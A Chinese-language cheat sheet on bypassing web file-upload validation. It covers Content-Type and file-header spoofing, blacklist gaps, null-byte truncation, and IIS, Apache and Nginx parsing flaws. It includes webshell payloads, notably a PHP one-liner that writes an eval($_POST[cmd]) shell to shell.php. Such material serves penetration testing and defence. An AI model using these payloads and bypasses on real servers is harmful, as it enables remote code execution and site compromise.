文件上传绕过总结
上传验证的种类:
1、 客户端,javascript的验证
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
解决方法:使用burp抓包改包,那么我们可以将一句话1.php先修改为1.jpg,然后发送,burp抓包,在burp中再将文件名修改回来。
2、 服务器端验证:
1、 文件类型验证:content-type验证(image/gif)
解决方法:通过抓包改包将content-type字段改为image/gif
2、 文件头验证(文件头,gif89a,jeff等,这里就是用图片马,图片马要修改名字)
解决方法:传图片马,,如果是单纯的对文件头进行验证,那就传个图片马的php文件,如果结合了前端,就要在burp里修改为php文件。
3、 后缀名黑名单验证
解决方法:1、试验大小写;2、漏网之鱼(jsp:jspx,jspf ; asp:asa,cer,aspx ; php:php2 php3 php4 ; exe:exee)
4、 白名单验证()
配合文件包含漏洞的使用:(他检验的是特定后缀文件的内容的)
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式:(这里拿php为例,此漏洞主要存在于PHP中)
(1)先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2)然后再上传一个.php的文件,内容为<?php Include(“上传的txt文件路径”);?>
此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举包含的语法:
#PHP
<?php Include("上传的txt文件路径");?>
服务器解析漏洞
操作系统文件命令
(一)IIS5.x-6.x解析漏洞
使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。
目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理: 服务器默认会把.asp,.asp目录下的文件都解析成asp文件。(传个图片马)
文件解析
形式:www.xxx.com/xx.asp;.jpg(文件名)
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。
解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx
(二)apache解析漏洞
漏洞原理
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.qwe.asd “.qwe”和”.asd” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.qwe.asd解析成php。
漏洞形式
www.xxxx.xxx.com/test.php.php123
其余配置问题导致漏洞
(1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以php 方式执行。(htaccess文件上传解析漏洞,可以将这段代码写到.htaccess中,再上传写有php一句话代码的jpg文件中)
(三)nginx解析漏洞
漏洞原理
Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当 访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为 “phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了
漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php
另外一种手法:上传一个名字为test.jpg,然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。
(四)IIS7.5解析漏洞
IIS7.5的漏洞与nginx的类似,都是由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
5.配合操作系统文件命令规则
(1)上传不符合windows文件命名规则的文件名
test.asp.
test.asp(空格)
test.php:1.jpg
test.php:: $DATA
会被windows系统自动去掉不符合规则符号后面的内容
如果遇到上传一个php文件上传后自动修改成为gif或者其他格式的后缀,则可以考虑使用双重后缀,即为1.pphphp
MIME类型验证(文件类型验证)
直接修改Content-Type:允许的MIME类型
修改文件名为可执行文件,有时候需要配合修改multipart/form-data的大小写
常见的MIME类型:
超文本标记语言文本 .html text/html
xml文档 .xml text/xml
普通文本 .txt text/plain
RTF文本 .rtf application/rtf
PDF文档 .pdf application/pdf
Microsoft Word文件 .word application/msword
PNG图像 .png image/png
GIF图形 .gif image/gif
JPEG图形 .jpeg,.jpg image/jpeg
au声音文件 .au audio/basic
MIDI音乐文件 mid,.midi audio/midi,audio/x-midi
RealAudio音乐文件 .ra, .ram audio/x-pn-realaudio
MPEG文件 .mpg,.mpeg video/mpeg
AVI文件 .avi video/x-msvideo
GZIP文件 .gz application/x-gzip
TAR文件 .tar application/x-tar
任意的二进制数据 application/octet-stream
目录路利用
解析是从前往后解析,判断是从后往前判断。
零零截断一般步骤为:
1.新建一个名为test.php%00.jpg或者test.php.jpg
2.在里面写入一句话木马([如何在图片中插入一句话](http://wenku.baidu.com/link?url=GoR21a2WWH2C8c8Q7HIgrz7CoW3B4suAwDaaRkAt6vgCZyYr7Le7Z9ZeiurBIE7NHuNwJ7dro5lCql8mRlk3y2IS7iFbWuQM99HV_kXDvTm))
3.burp抓包改%00或者.为url编码
iis按照路径解析的是:
比如我们上传一个名为123.asp/123.jpg文件
则,123.asp/123.jpg会被直接解析成123.asp
0x02_4 文件扩展名利用
黑名单检测
• 文件大小写绕过
比如像Asp,Php之类的文件名绕过黑名单检测
• 名单列表绕过
利用黑名单里没有的名单进行攻击,比如黑名单里没有asa,cer,php3,php5之类的
• 特殊文件名绕过
修改文件名为test.asp.或者test.asp_(下划线为空格),绕过验证之后,windows会自动去掉点和空格,linux和unix下不支持
• 0x00截断绕过
• 双扩展名绕过
apache解析式从后往前,所以如果上传一个test.php.123,不认识.123的文件,所以会往前解析,直到遇到能解析的
Apache的扩展名顺序解析漏洞
命名为test.php.xxx(集成环境里php3都会按照php来解析)
IIS的asp解析漏洞
• IIS6.0
• 1.命名为test.asp;.jpg
• 2.命名为test.asp/123.jpg(test.asp是一个目录)
• 3.命名为test.asa,test.cer.test.cdx
• IIS7.5/7.0
• 在默认Fast-CGI开启状况下,上传一个名字为test.jpg,内容为
• <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
• 的文件,然后访问test.jpg/.php,在这个目录下就会生成一句话木马 shell.php
Nginx的%00解析漏洞
命名为test.jpg%00.php